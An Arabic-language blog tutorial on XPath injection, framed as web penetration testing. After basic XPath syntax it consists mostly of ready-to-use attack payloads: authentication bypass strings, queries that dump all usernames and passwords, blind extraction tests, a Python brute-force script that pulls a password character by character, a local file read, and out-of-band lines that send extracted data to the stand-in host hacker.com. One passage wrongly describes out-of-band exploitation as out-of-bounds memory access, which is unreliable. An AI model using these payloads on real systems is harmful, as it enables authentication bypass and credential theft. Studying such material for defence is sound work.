• لمتابعة آخر المقالات و الحيل التقنية و كسب كورسات مجانية انضم لقناتنا الآن   انضم الان

اختبار اختراق تطبيقات الويب

 مقدمة 

في عصر الاتصال الرقمي الذي نعيشه اليوم، أصبحت تطبيقات الويب جزءًا حيويًا من حياتنا اليومية وعمليات الأعمال. إلا أن هذا التطور التكنولوجي السريع للتطبيقات يجعلها عرضة لمختلف التهديدات السيبرانية. هنا تأتي أهمية "اختبار اختراق تطبيقات الويب" في اللعب لدورها في كشف الثغرات وضمان أمان هذه التطبيقات.

في هذا المقال، سنستكشف عالم اختبار اختراق تطبيقات الويب بمزيد من التفصيل. سنتناول مفهوم هذا الاختبار وأهميته في حماية البيانات والمعلومات. سنكشف عن أدوات وأساليب تنفيذ هذا الاختبار بفعالية للكشف عن الثغرات وتقوية أمان التطبيقات على الويب.

ماهي ثغرة XPATH Injection؟

هي نوع من الثغرات الأمنية التي تحدث عندما يتم استخدام بيانات مدخلة من المستخدم لإنشاء استعلام XPath غير آمنة. يمكن أن يؤدي هذا إلى السماح للمهاجمين بالتحكم في استعلام XPath وتنفيذ التعليمات البرمجية الضارة أو الوصول إلى البيانات الحساسة.

اختبار اختراق تطبيقات الويب



حقن XPath هو أسلوب هجوم يستخدم لإستغلال و إختراق تطبيقات الويب التي تسمح للمخترقين بادخال بيانات يمكن استخدامها لإنشاء استعلامات XPath للوصول إلى بيانات حساسة أو تنفيذ التعليمات البرمجية.
معلومات حول كيفية إجراء الاستعلامات : w3schools

Nodes

⚠️ ملاحظة
في لغة XML، العقدة هي الوحدة الأساسية للبيانات. العقدة هي عنصر أو علامة فارغة أو نص أو علامة XML.فيما يلي مثال على مستند XML يحتوي على عقدة:

<bookstore>
  <book>
    <title>The Hitchhiker's Guide to the Galaxy</title>
    <author>Douglas Adams</author>
  </book>
</bookstore>

في هذا المثال:
  • العقدة الرئيسية هي bookstore.
  •  العقدتان الفرعيتان هما book.
  • العقدة title هي عنصر يحتوي على نص.
  • العقدة author هي عنصر يحتوي على نص.
(يمكن استخدام لغة XPath للعثور على العقد ومعالجتها)

  • nodename وهي دالة في لغة XPath تستخدم للعثور على اسم عقدة XML. تُرجع هذه الدالة سلسلة نصية تحتوي على اسم العقدة.
  • رمز "/" هو رمز يشير إلى الجذر. الجذر هو العقدة العليا في مستند XML.
  • رمز "//" يشير إلى مسار عالمي. يسمح لك مسار عالمي بالعثور على أي عقدة في المستند، بغض النظر عن موقعها.
  •  يشير رمز  "." إلى العقدة الحالية. العقدة الحالية هي العقدة التي يتم تنفيذ الاستعلام منها.
  • رمز ". ." تشير إلى العقدة الأم. العقدة الأم هي العقدة التي تحتوي على العقدة الحالية.
  •  رمز "@" يستخدم للوصول إلى سمات العقدة.

أمثلة:

  • لو كتبنا "bookstore" سيتم تحديد كافة العقود التي تحمل اسم "bookstore".
  • لو كتبنا "/bookstore" يختار العنصر الجذر في المستند XML.
  • لو كتبنا "bookstore/book" سيقوم بتحديد جميع عناصر الكتاب التابعة للمكتبة.
  • لو كتبنا "//book" سيحدد كافة عناصر الكتاب بغض النظر عن مكان وجودها في المستند.
  • لو كتبنا "bookstore//book" سيحدد كافة عناصر الكتاب التي تنحدر من عنصر مكتبة، بغض النظر عن مكان وجودها ضمن عنصر مكتبة.
  • لو كتبنا "//@lang" سيحدد كافة السمات التي تسمى "lang".

المسندات

تحديد عنصر الكتاب الأول الذي يعتبر فرعًا لعنصر bookstore.
/bookstore/book[1]
تحديد عنصر الكتاب الأخير الذي يمثل عنصرًا فرعيًا لعنصر bookstore.
/bookstore/book[last()]
عرض قائمة بجميع الكتب باستثناء آخر كتاب في bookstore.
/bookstore/book[last()-1]
تحديد أول عنصرين من عناصر الكتاب التابعة لعنصر bookstore.
/bookstore/book[position()<3]
تحديد كافة العناصر العنوان التي لها سمة تسمى lang.
//title[@lang]
تحديد جميع عناصر العنوان التي تحتوي على السمة "lang" بقيمة "en".
//title[@lang='en']
تحديد كافة عناصر الكتاب الخاصة بعنصر bookstore التي تحتوي على عنصر سعر بقيمة أكبر من 35.00.
/bookstore/book[price>35.00]
يحدد هذا الأمر جميع عناصر عنوان العناصر الكتاب التي تحتوي على عنصر سعر بقيمة أكبر من 35.00. 
/bookstore/book[price>35.00]/title

Unknown Nodes

  • في لغة XPath، يُستخدم رمز النجمة (*) للعثور على جميع العناصر الفرعية للعنصر الحالي.
  • في لغة XPath، يمثل رمز (@*) جميع السمات في عنصر XML.
  • "node()" هي لاختبار عقدة في XPath تحدد كافة العقد، بغض النظر عن نوعها.

أمثلة:

تحديد جميع عقد العناصر التابعة لعنصر المكتبة.
/bookstore/*
تحديد كافة العناصر الموجودة في المستند.
//*
تحديد كافة عناصر العنوان التي لها سمة واحدة على الأقل من أي نوع.
//title[@*]

XPath injection Attack:

مثال:

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
    <name>pepe</name>
    <password>peponcio</password>
    <account>admin</account>
</user>
<user>
    <name>mark</name>
    <password>m12345</password>
    <account>regular</account>
</user>
<user>
    <name>fino</name>
    <password>fino2</password>
    <account>regular</account>
</user>
</data>

الوصول إلى البيانات

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

تحديد وإستخراج schema

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
    <a>
        <b></b>
    </a>
    <c>
        <d></d>
        <e></e>
        <f>
            <h></h>
        </f>
    </c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
          

Authentication Bypass

مثال لسكريبت برنامج بسيط بلغة php:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'].'" and passwd="'. $_POST['passwd'].'"]';
          

كيف نستغل 'OR' لتجاوز user و password ؟

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field
          

null injection

(null injection هو نوع من الثغرات الأمنية التي تسمح للمهاجم بإدخال قيمة خالية (null) إلى حقل أو متغير في قاعدة بيانات أو تطبيق ويب. يمكن أن يؤدي ذلك إلى حدوث أخطاء أو تعطل النظام أو تسريب بيانات حساسة.)
Username: ' or 1]%00
          

استخراج السلسلة

يحتوي الإخراج على سلاسل ويمكن للمستخدم التعامل مع القيم للبحث:
/user/username[contains(., '+VALUE+')]
          
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
          

Blind Explotation

Blind Exploitation هو نوع من الهجمات التي يتم فيها استغلال ثغرة أمنية في الموقع دون الحصول على أي رد مباشر من النظام. وهذا يعني أن المهاجم لا يستطيع معرفة ما إذا كانت محاولاته لاستغلال الثغرة الأمنية ناجحة أم لا إلا من خلال ملاحظة سلوك النظام.

احصل على طول القيمة واستخرجها عن طريق المقارنات
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
          

مثال بلغة بايثون

اليك برنامج Python يستخدم لتكسير كلمة المرور. وهو يعمل عن طريق اختبار كل طول كلمة المرور الممكن من 1 إلى 30 حرفًا، ثم اختبار كل حرف من الأبجدية لكل موضع من كلمة المرور.
import requests, string 

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30): 
    r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i)) 
    if ("TRUE_COND" in r.text): 
        l = i 
        break 
print("[+] Password length: " + str(l)) 
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i)) 
    for al in alphabet: 
        r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
        if ("TRUE_COND" in r.text): 
            flag += al
            print("[+] Flag: " + flag) 
            break
     

قراءة الملف :

هذا الجميل يقرأ ملف XML ويتحقق مما إذا كان الحرف الثالث من قيمة عنصر child الأول للعنصر الجذر هو حرف غير ASCII.
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) > 127
     

OOB Exploitation

(يمكن استخدام حقن XPath لاستغلال ثغرات OOB في تطبيق ويب.يمكن القيام بذلك عن طريق إدخال تعبير XPath غير صالح إلى التطبيق. يمكن أن يؤدي هذا إلى قراءة أو كتابة البيانات خارج حدود الذاكرة المقصودة.)
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
     


أداة للاستغلال التلقائي يمكنك العمل بها !

اضغط هنا : Introduction-xcat
في نهاية هذا الرحلة إلى عالم اختبار اختراق تطبيقات الويب، يجب أن ندرك أهمية تلك العملية في ضمان سلامة المعلومات وحماية الأنظمة. إن الاستثمار في اختبار أمان التطبيقات يعني الاستثمار في الحماية السيبرانية والحفاظ على سمعة العلامة التجارية. نحث جميع المهتمين بأمان البيانات والتطبيقات على استكشاف هذا المجال بعمق وتبني أفضل الممارسات للحفاظ على سلامتهم الرقمية.

إرسال تعليق

Cookie Consent
We serve cookies on this site to analyze traffic, remember your preferences, and optimize your experience.
Oops!
It seems there is something wrong with your internet connection. Please connect to the internet and start browsing again.
AdBlock Detected!
We have detected that you are using adblocking plugin in your browser.
The revenue we earn by the advertisements is used to manage this website, we request you to whitelist our website in your adblocking plugin.
Site is Blocked
Sorry! This site is not available in your country.